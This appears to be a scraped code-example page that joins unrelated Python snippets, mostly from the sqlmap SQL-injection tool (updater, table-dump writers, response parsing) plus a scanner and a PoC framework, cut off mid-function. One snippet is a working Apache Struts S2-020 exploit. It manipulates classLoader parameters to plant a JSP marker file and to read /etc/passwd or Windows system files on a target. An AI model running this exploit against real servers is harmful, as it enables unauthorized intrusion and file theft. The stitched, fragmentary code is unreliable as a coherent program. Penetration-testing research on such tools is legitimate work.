                                os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
                            except OSError:
                                logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
    else:
        infoMsg = "updating sqlmap to the latest development revision from the "
        infoMsg += "GitHub repository"
        logger.info(infoMsg)

        debugMsg = "sqlmap will try to update itself using 'git' command"
        logger.debug(debugMsg)

        dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))

        output = ""
        try:
            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
            pollProcess(process, True)
            output, _ = process.communicate()
            success = not process.returncode
        except Exception as ex:
            success = False
            output = getSafeExString(ex)
        finally:
            output = getText(output)

        if success:
            logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber()))
        else:
            if "Not a git repository" in output:
                errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
                errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
                logger.error(errMsg)
            else:
                logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip())

    if not success:
        if IS_WIN:
            infoMsg = "for Windows platform it's recommended "
            infoMsg += "to use a GitHub for Windows client for updating "
            infoMsg += "purposes (http://windows.github.com/) or just "
            infoMsg += "download the latest snapshot from "
            infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
        else:
            infoMsg = "for Linux platform it's recommended "
            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"

        logger.info(infoMsg)
Ejemplo n.º 33
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        documentNode, tableNode, bodyNode, headNode, rowNode = (0, ) * 5
        dumpFP = None

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication(
                "%s%s%s.sqlite3" %
                (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep,
                                     unsafeSQLIdentificatorNaming(db))

            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep,
                                          unsafeSQLIdentificatorNaming(table),
                                          conf.dumpFormat.lower())
            dumpFP = openFile(dumpFileName, "wb")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" %
                    (db if db else "Current database", table))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append(
                        (column, colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            documentNode = getDOMImplementation().createDocument(
                None, "table", None)
            tableNode = documentNode.documentElement

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            headNode = documentNode.createElement("thead")
            rowNode = documentNode.createElement("tr")
            tableNode.appendChild(headNode)
            headNode.appendChild(rowNode)
            bodyNode = documentNode.createElement("tbody")
            tableNode.appendChild(bodyNode)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if conf.dumpFormat == DUMP_FORMAT.CSV:
                    if field == fields:
                        dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                    else:
                        dataToDumpFile(
                            dumpFP,
                            "%s%s" % (safeCSValue(column), conf.csvDel))
                elif conf.dumpFormat == DUMP_FORMAT.HTML:
                    entryNode = documentNode.createElement("td")
                    rowNode.appendChild(entryNode)
                    entryNode.appendChild(documentNode.createTextNode(column))

                field += 1

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                rowNode = documentNode.createElement("tr")
                bodyNode.appendChild(rowNode)

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank),
                                newline=False,
                                console=console)

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(
                                dumpFP,
                                "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        entryNode = documentNode.createElement("td")
                        rowNode.appendChild(entryNode)
                        entryNode.appendChild(
                            documentNode.createTextNode(value))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")

            self._write("|", console=console)

        self._write("%s\n" % separator)

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" %
                        (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
                dataToDumpFile(
                    dumpFP,
                    "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n"
                    % UNICODE_ENCODING)
                dataToDumpFile(
                    dumpFP, "<title>%s</title>\n" %
                    ("%s%s" %
                     ("%s." % db if METADB_SUFFIX not in db else "", table)))
                dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
                dataToDumpFile(dumpFP, "\n</head>\n")
                dataToDumpFile(dumpFP, tableNode.toxml())
                dataToDumpFile(dumpFP, "\n</html>")
            else:
                dataToDumpFile(dumpFP, "\n")
            dumpFP.close()
            logger.info("table '%s.%s' dumped to %s file '%s'" %
                        (db, table, conf.dumpFormat, dumpFileName))
Ejemplo n.º 34
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if conf.replicate:
            replication = Replication(
                "%s%s%s.sqlite3" %
                (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)))
        else:
            dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep,
                                     unsafeSQLIdentificatorNaming(db))

            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep,
                                           unsafeSQLIdentificatorNaming(table))
            dumpFP = openFile(dumpFileName, "wb")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" %
                    (db if db else "Current database", table))

        if conf.replicate:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append(
                        (column, colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), n=False)

                if not conf.replicate:
                    if field == fields:
                        dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                    else:
                        dataToDumpFile(
                            dumpFP,
                            "%s%s" % (safeCSValue(column), conf.csvDel))

                field += 1

        self._write("|\n%s" % separator)

        if not conf.replicate:
            dataToDumpFile(dumpFP, "\n")

        if conf.replicate:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = {" ": NULL, "": BLANK}.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank),
                                n=False,
                                console=console)

                    if not conf.replicate:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(
                                dumpFP,
                                "%s%s" % (safeCSValue(value), conf.csvDel))

                    field += 1

            if conf.replicate:
                try:
                    rtable.insert(values)
                except sqlmapValueException:
                    pass

            self._write("|", console=console)

            if not conf.replicate:
                dataToDumpFile(dumpFP, "\n")

        self._write("%s\n" % separator)

        if conf.replicate:
            rtable.endTransaction()
            logger.info("table '%s.%s' dumped to sqlite3 file '%s'" %
                        (db, table, replication.dbpath))

        else:
            dataToDumpFile(dumpFP, "\n")
            dumpFP.close()
            logger.info("table '%s.%s' dumped to CSV file '%s'" %
                        (db, table, dumpFileName))
Ejemplo n.º 35
0
def processResponse(page, responseHeaders, code=None, status=None):
    kb.processResponseCounter += 1

    page = page or ""

    parseResponse(
        page, responseHeaders
        if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
    else:
        kb.tableFrom = None

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))

    if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
        rawResponse = "%s %s %s\n%s\n%s" % (
            _http_client.HTTPConnection._http_vsn_str, code or "", status
            or "",
            getUnicode(
                "".join(responseHeaders.headers if responseHeaders else [])),
            page)

        identYwaf.non_blind.clear()
        if identYwaf.non_blind_check(rawResponse, silent=True):
            for waf in identYwaf.non_blind:
                if waf not in kb.identifiedWafs:
                    kb.identifiedWafs.add(waf)
                    errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(
                        waf)
                    singleTimeLogMessage(errMsg, logging.CRITICAL)

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[
                        PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    else:
                        msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name

                        if not readInput(msg, default='N', boolean=True):
                            continue

                        conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub(
                    r"(?i)(%s=)[^&]+" % re.escape(name),
                    r"\g<1>%s" % value.replace('\\', r'\\'),
                    conf.parameters[PLACE.POST])

    if not kb.browserVerification and re.search(r"(?i)browser.?verification",
                                                page or ""):
        kb.browserVerification = True
        warnMsg = "potential browser verification protection mechanism detected"
        if re.search(r"(?i)CloudFlare", page):
            warnMsg += " (CloudFlare)"
        singleTimeWarnMessage(warnMsg)

    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
        for match in re.finditer(r"(?si)<form.+?</form>", page):
            if re.search(r"(?i)captcha", match.group(0)):
                kb.captchaDetected = True
                break

        if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
            kb.captchaDetected = True

        if kb.captchaDetected:
            warnMsg = "potential CAPTCHA protection mechanism detected"
            if re.search(r"(?i)<title>[^<]*CloudFlare", page):
                warnMsg += " (CloudFlare)"
            singleTimeWarnMessage(warnMsg)

    if re.search(BLOCKED_IP_REGEX, page):
        warnMsg = "it appears that you have been blocked by the target server"
        singleTimeWarnMessage(warnMsg)
Ejemplo n.º 36
0
def rfi(exp, url):  # Remote file include
    exp(url)
    logger.warning(
        "Please use other tools to exploit this vulnerability. Exit exploit mode"
    )
Ejemplo n.º 37
0
    def verity(self):
        #        print self.banner
        logger.info("Struts_S2-020_POC checking %s" % self.url)
        ORG_URL = self.url
        urlinfo = urlparse(ORG_URL)
        tom8_check_url = urlunparse(
            (urlinfo.scheme, urlinfo.netloc, '/', '', '', ''))
        tom6x7x_url_two = urlunparse((urlinfo.scheme, urlinfo.netloc,
                                      urlinfo.path.split('/')[1], '', '', ''))
        self.headers = {
            'Host': urlinfo.hostname,
            'User-Agent':
            'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;)',
            'Referer': self.url,
            'banner': 's2-020 poc from cf_hb.'
        }
        poc_tom8 = []
        poc_win_tom6x7x = []
        poc_linux_tom6x7x = []
        # Tomcat 8.x Linux+Windows
        poc_tom8.append(
            "?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
        )
        poc_tom8.append(
            "?class.classLoader.resources.context.parent.pipeline.first.prefix=S2020POC"
        )
        poc_tom8.append(
            "?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
        )
        poc_tom8.append(
            "?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1"
        )
        poc_tom8.append('?poc=<%out.write("This_Site_Is_Vulnerable_S2020");%>')
        # Tomcat6.x and Tomcat 7.x - Windows
        poc_win_tom6x7x.append(
            "?class.classLoader.resources.dirContext.aliases=/S2020=C://Windows/"
        )
        # Tomcat6.x and Tomcat 7.x - Linux
        poc_linux_tom6x7x.append(
            "?class.classLoader.resources.dirContext.aliases=/S2020=/")
        try:
            for poc_add in poc_tom8:
                poc_url = urljoin(ORG_URL, poc_add)
                resp = req.get(poc_url, headers=self.headers, timeout=3)
                time.sleep(1)
            checkurl = urljoin(tom8_check_url, "S2020POC1.jsp")
            # tomcat写日志难以捉摸,为了避免漏掉,测试5次每次停顿1秒
            # check 5 times
            for i in range(0, 5):
                resp = req.get(checkurl, headers=self.headers, timeout=3)
                time.sleep(1)
                if resp.status_code and "This_Site_Is_Vulnerable_S2020" in resp.content:
                    msg = "Congratulations!!! {url} is vulnerable S2-020.".format(
                        url=self.url)
                    logger.success(msg)
                    return True

            # Check tomcat6.x and tomcat7.x - Windows
            for poc_add in poc_win_tom6x7x:
                poc_url = urljoin(ORG_URL, poc_add)
                resp = req.get(poc_url, headers=self.headers, timeout=3)
                time.sleep(1)
                checkurl = tom6x7x_url_two + "/S2020/explorer.exe"
                resp = req.head(checkurl, timeout=3)
                if resp.status_code == 200:
                    size = resp.headers.get('Content-Length')
                    fsize = int(size) / 1024
                    if fsize > 1:  #检测文件大小是否大于1KB
                        msg = "Congratulations!!! {url} is vulnerable S2-020.".format(
                            url=self.url)
                        logger.success(msg)
                        return True
            # Check tomcat6.x and tomcat7.x - Linux
            for poc_add in poc_linux_tom6x7x:
                poc_url = urljoin(ORG_URL, poc_add)
                resp = req.get(poc_url, headers=self.headers, timeout=3)
                time.sleep(1)
                checkurl = tom6x7x_url_two + "/S2020/etc/passwd"
                resp = req.get(checkurl, headers=self.headers, timeout=3)
                if resp.status_code and ("/bin/bash" in resp.content
                                         or "root:x:0:0:root:/root"
                                         in resp.content):
                    self._report(ORG_URL)
                    return True
            msgError = "sorry!! {url} is no vulnerable.".format(url=self.url)
            logger.warning(msgError)
            return False
        except Exception, e:
            print "Failed to connection target, try again.."
            return False
Ejemplo n.º 38
0
def TargetRegister(targets):
    target_result = []
    for target in targets:
        parse_targets = parseTarget(target)
        for parse_target in parse_targets:
            ip = parse_target["ip"]
            domain = parse_target["domain"] if parse_target[
                "domain"] else "Domain Null"
            url = parse_target["url"] if parse_target["url"] else "Url Null"
            if ip:
                if ip not in RESULT:
                    RESULT[ip] = {
                        "Status": "",
                        "MAC": "",
                        "HostNames": "",
                        "services": "",
                        domain: {
                            "status": "",
                            "subDomain": []
                        },
                        url: []
                    }
                    TARGETS.IP.append(ip)
                    target_result.append([1, ip, None, None, ip])
                    if domain != "Domain Null":
                        TARGETS.DOMAIN.append(domain)
                        target_result.append([2, ip, domain, None, None])
                        for sub in CONF.dns_sub:
                            TARGETS.subDomain.append("%s.%s" % (sub, domain))
                            target_result.append(
                                [2, ip, domain, None,
                                 "%s.%s" % (sub, domain)])
                    if url != "Url Null":
                        TARGETS.URL.append(url)
                        target_result.append([3, ip, domain, url, url])
                        for dir in CONF.dir:
                            if "/" in dir:
                                target_result.append(
                                    [3, ip, domain, url, url + dir])
                                TARGETS.URL.append(url + dir)
                            else:
                                target_result.append(
                                    [3, ip, domain, url, url + "/" + dir])
                                TARGETS.URL.append(url + "/" + dir)
                else:
                    if domain != "Domain Null" and domain not in RESULT[ip]:
                        RESULT[ip][domain] = {"status": "", "subDomain": []}
                        TARGETS.DOMAIN.append(domain)
                        target_result.append([2, ip, domain, None, None])
                        for sub in CONF.dns_sub:
                            TARGETS.subDomain.append("%s.%s" % (sub, domain))
                            target_result.append(
                                [2, ip, domain, None,
                                 "%s.%s" % (sub, domain)])
                    if url != "Url Null" and url not in RESULT[ip]:
                        RESULT[ip][url] = []
                        TARGETS.URL.append(url)
                        target_result.append([3, ip, domain, url, url])
                        for dir in CONF.dir:
                            if "/" in dir:
                                target_result.append(
                                    [3, ip, domain, url, url + dir])
                                TARGETS.URL.append(url + dir)
                            else:
                                target_result.append(
                                    [3, ip, domain, url, url + "/" + dir])
                                TARGETS.URL.append(url + "/" + dir)
            else:
                logger.warning("[AWIScan] %s is error" % target)
    return target_result
Ejemplo n.º 39
0
Archivo: dump.py Proyecto: zwfy1/sqlmap
        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n")

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n" if not appendToFile else "")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<tr>")

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue
Ejemplo n.º 40
0

def main():
    banner()
    try:
        paths.ROOT_PATH = module_path()
        try:
            os.path.isdir(paths.ROOT_PATH)
        except UnicodeEncodeError:
            errMsg = "your system does not properly handle non-ASCII paths. "
            errMsg += "Please move the project root directory to another location"
            logger.error(errMsg)
            raise SystemExit
        cmdLineOptions.update(cmdline_parse().__dict__)
        init_options(cmdLineOptions)
        set_paths(paths.ROOT_PATH)
        if IS_WIN:
            winowsColorInit()
        start()
    except Exception, e:
        logger.error(e.message)
        logger.error(traceback.format_exc())
    except Exception:
        logger.error(traceback.format_exc())
        logger.warning(
            'It seems like you reached a unhandled exception, please report it to author\'s mail:[email protected]'
        )


if __name__ == "__main__":
    main()
Ejemplo n.º 41
0
def fr(exp, url):  # File read
    exp(url)
    logger.warning(
        "Please use other tools to exploit this vulnerability. Exit exploit mode"
    )
Ejemplo n.º 42
0
def parse_options(args):
    if not (args.url or args.parameter):
        logger.warning('Please input url and inject paramter!!!')
        sys.exit(1)
    if not (args.tech and args.dbms):
        logger.warning('Please set option --dbms,--tech')
        sys.exit(1)
    if args.db and (not (args.getTables or args.getColumns or args.dumpTable)):
        logger.warning('Dnt know what...Please options [--tables|--dump]')
        sys.exit(1)
    if args.db and args.tbl and (not (args.getColumns or args.dumpTable)):
        logger.warning('Dnt know what...Please options [--columns|--dump]')
        sys.exit(1)
    if args.db and args.tbl and args.col and not args.dumpTable:
        logger.warning('Dnt know what...Please options [--dump]')
        sys.exit(1)
    if (args.dumpTable or args.dumpTable) and (not args.db):
        logger.warning('Please input will dump db [-D test]')
        sys.exit(1)
    if args.dumpTable and args.col and (not args.tbl):
        logger.warning('Please input will dump table [-T test]')
        sys.exit(1)
Ejemplo n.º 43
0
def update():
    if not conf.updateAll:
        return

    success = False

    if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
        warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
        warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
        logger.warn(warnMsg)

        if VERSION == getLatestRevision():
            logger.info("already at the latest revision '%s'" %
                        getRevisionNumber())
            return

        message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
        if readInput(message, default='N', boolean=True):
            directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)

            try:
                open(os.path.join(directory, "sqlmap.py"), "w+b")
            except Exception, ex:
                errMsg = "unable to update content of directory '%s' ('%s')" % (
                    directory, getSafeExString(ex))
                logger.error(errMsg)
            else:
                attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
                for wildcard in ('*', ".*"):
                    for _ in glob.glob(os.path.join(directory, wildcard)):
                        try:
                            if os.path.isdir(_):
                                shutil.rmtree(_)
                            else:
                                os.remove(_)
                        except:
                            pass

                if glob.glob(os.path.join(directory, '*')):
                    errMsg = "unable to clear the content of directory '%s'" % directory
                    logger.error(errMsg)
                else:
                    try:
                        archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]

                        with zipfile.ZipFile(archive) as f:
                            for info in f.infolist():
                                info.filename = re.sub(r"\Asqlmap[^/]+", "",
                                                       info.filename)
                                if info.filename:
                                    f.extract(info, directory)

                        filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib",
                                                "core", "settings.py")
                        if os.path.isfile(filepath):
                            with open(filepath, "rb") as f:
                                version = re.search(
                                    r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)",
                                    f.read()).group(1)
                                logger.info(
                                    "updated to the latest version '%s#dev'" %
                                    version)
                                success = True
                    except Exception, ex:
                        logger.error("update could not be completed ('%s')" %
                                     getSafeExString(ex))
                    else:
                        if not success:
                            logger.error("update could not be completed")
                        else:
                            try:
                                os.chmod(os.path.join(directory, "sqlmap.py"),
                                         attrs)
                            except OSError:
                                logger.warning(
                                    "could not set the file attributes of '%s'"
                                    % os.path.join(directory, "sqlmap.py"))
Ejemplo n.º 44
0
                            pocsPath)
            except Exception, e:
                logger.warning("Create pocs output directory '%s' failed! %s" %
                               (pocsPath, e))

        #Create a directory by current time
        today = time.strftime("%Y-%m-%d")
        todayPath = os.path.join(pocsPath, today)
        if not os.path.isdir(todayPath):
            try:
                os.makedirs(todayPath)
                logger.info("Using '%s' as the pocs today output directory" %
                            todayPath)
            except Exception, e:
                logger.warning(
                    "Create pocs today output directory '%s' failed! %s" %
                    (todayPath, e))

        return todayPath

    def set_record_files(self):
        """Create the output file!"""
        todayPath = self.create_output_dir()
        second = time.strftime("%Y-%m-%d-%H-%M-%S") + ".txt"
        outputPath = os.path.join(todayPath, second)
        msg_format = " {:>25}  {:^50}  {:<10} \n"
        if not os.path.isfile(outputPath):
            try:
                with open(outputPath, "w") as f:
                    f.write(msg_format.format("pocName", "target", "result"))
                    f.write(msg_format.format("=======", "======", "======"))
Ejemplo n.º 45
0
Archivo: dump.py Proyecto: rrana/sqlmap
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None
        appendToFile = False

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if hasattr(conf, "api"):
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = os.path.join(
            conf.dumpPath,
            re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication(
                os.path.join(conf.dumpPath,
                             "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = os.path.join(
                dumpDbPath, "%s.%s" %
                (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
            appendToFile = os.path.isfile(dumpFileName) and any(
                (conf.limitStart, conf.limitStop))
            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        if conf.col:
            cols = conf.col.split(',')
            columns = sorted(columns,
                             key=lambda _: cols.index(_) if _ in cols else 0)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write(
            "Database: %s\nTable: %s" %
            (unsafeSQLIdentificatorNaming(db) if db else "Current database",
             unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((unsafeSQLIdentificatorNaming(column),
                                 colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
            dataToDumpFile(
                dumpFP,
                "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n"
                % UNICODE_ENCODING)
            dataToDumpFile(
                dumpFP, "<title>%s</title>\n" %
                ("%s%s" %
                 ("%s." % db if METADB_SUFFIX not in db else "", table)))
            dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
            dataToDumpFile(dumpFP,
                           "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]

                column = unsafeSQLIdentificatorNaming(column)
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if not appendToFile:
                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                        else:
                            dataToDumpFile(
                                dumpFP,
                                "%s%s" % (safeCSValue(column), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(
                            dumpFP, "<th>%s</th>" % cgi.escape(column).encode(
                                "ascii", "xmlcharrefreplace"))

                field += 1

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n")

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n" if not appendToFile else "")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
